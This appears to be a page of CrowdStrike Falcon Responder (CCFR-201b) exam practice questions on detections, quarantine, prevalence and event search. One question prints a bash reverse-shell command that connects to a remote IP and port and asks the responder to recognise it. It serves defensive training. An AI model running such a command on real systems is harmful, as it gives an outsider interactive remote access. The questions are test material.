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CCFR-201b Practice Questions

CrowdStrike Certified Falcon Responder

Last Update 4 days ago
Total Questions : 209

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Question # 51

A responder is analyzing a file ' s prevalence. If the data shows ' Local: High ' and ' Global: Unique ' , which of the following is the most likely conclusion?

Options:

A.  

The file is common off-the-shelf malware seen globally.

B.  

The file is internally developed software unique to the organization.

C.  

The file is a standard Windows system component.

D.  

The file is a known commodity tool used by many different actors.

Discussion 0
Question # 52

Which of the following tactic and technique combinations is sourced from MITRE ATT AND CK information?

Options:

A.  

Falcon Intel via Intelligence Indicator - Domain

B.  

Machine Learning via Cloud-Based ML

C.  

Malware via PUP

D.  

Credential Access via OS Credential Dumping

Discussion 0
Question # 53

When examining a detection process tree, several fields are provided to give context. Which of the following is NOT included in the standard fields of a detection process tree?

Options:

A.  

Command Line

B.  

User Name

C.  

HTTP Post contents

D.  

SHA256 Hash

Discussion 0
Question # 54

How long are quarantined files stored on the host?

Options:

A.  

45 Days

B.  

30 Days

C.  

Quarantined files are never deleted from the host

D.  

90 Days

Discussion 0
Question # 55

Refer to the image.

Command line:

/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1

File path:

/bin/bash

You receive a detection on the Bash process indicating the command line in the image above.

Based on the command line, what is the next step you should take?

Options:

A.  

Investigate the host for manipulation of the root folder

B.  

Investigate the host for any Potentially Unwanted Programs (PUP)

C.  

Investigate the host for an interactive remote terminal

D.  

Investigate the host for developer activity

Discussion 0
Question # 56

During a targeted investigation into a potentially compromised internal administrative account, a responder utilizes the User Search functionality within the Investigate menu. The goal is to identify if the account was leveraged to drop or launch unauthorized binaries across multiple systems in the environment. Which specific data category is natively visible in the User Search results to facilitate this check?

Options:

A.  

Registry Key Operations

B.  

Network File Transfer ports

C.  

Unique Executables Written and Process Executions

D.  

BIOS and Hardware modification logs

Discussion 0
Question # 57

While investigating a detection, you pivot to the Advanced Event Search.

Which field would you filter by to return events executing from a specific directory on the host?

Options:

A.  

TreeId

B.  

@source

C.  

ParentBaseFileName

D.  

FilePath

Discussion 0
Question # 58

When navigating the ' Custom IOA ' creation wizard, a user must select a rule type. Which of the following is NOT a valid IOA rule type available for selection?

Options:

A.  

Process Creation

B.  

File Creation

C.  

Domain Name

D.  

Scheduled Task

Discussion 0
Question # 59

Aside from a Process Timeline or Event Search, how do you export process event data from a detection in .CSV format?

Options:

A.  

You can ' t export detailed event data from a detection, you have to use the Process Timeline or an Event Search

B.  

In Full Detection Details, you expand the nodes of the process tree you wish to expand and then click the " Export Process Events " button

C.  

In Full Detection Details, you choose the " View Process Activity " option and then export from that view

D.  

From the Detections Dashboard, you right-click the event type you wish to export and choose CSV. JSON or XML

Discussion 0
Question # 60

During an advanced hunting session, a responder is writing a custom query in the Event Search tool to track the lineage of a suspicious process. They notice a field labeled TargetProcessId_decimal. Which of the following sentences accurately describes the technical significance of this value within the CrowdStrike telemetry ecosystem?

Options:

A.  

It is the standard Process ID (PID) assigned by the Windows Task Manager.

B.  

It is a sensor-assigned, environment-wide unique decimal identifier for that specific process instance.

C.  

It represents the memory offset where the process ' s primary thread began.

D.  

It is a count of the total number of child processes spawned by that executable.

Discussion 0
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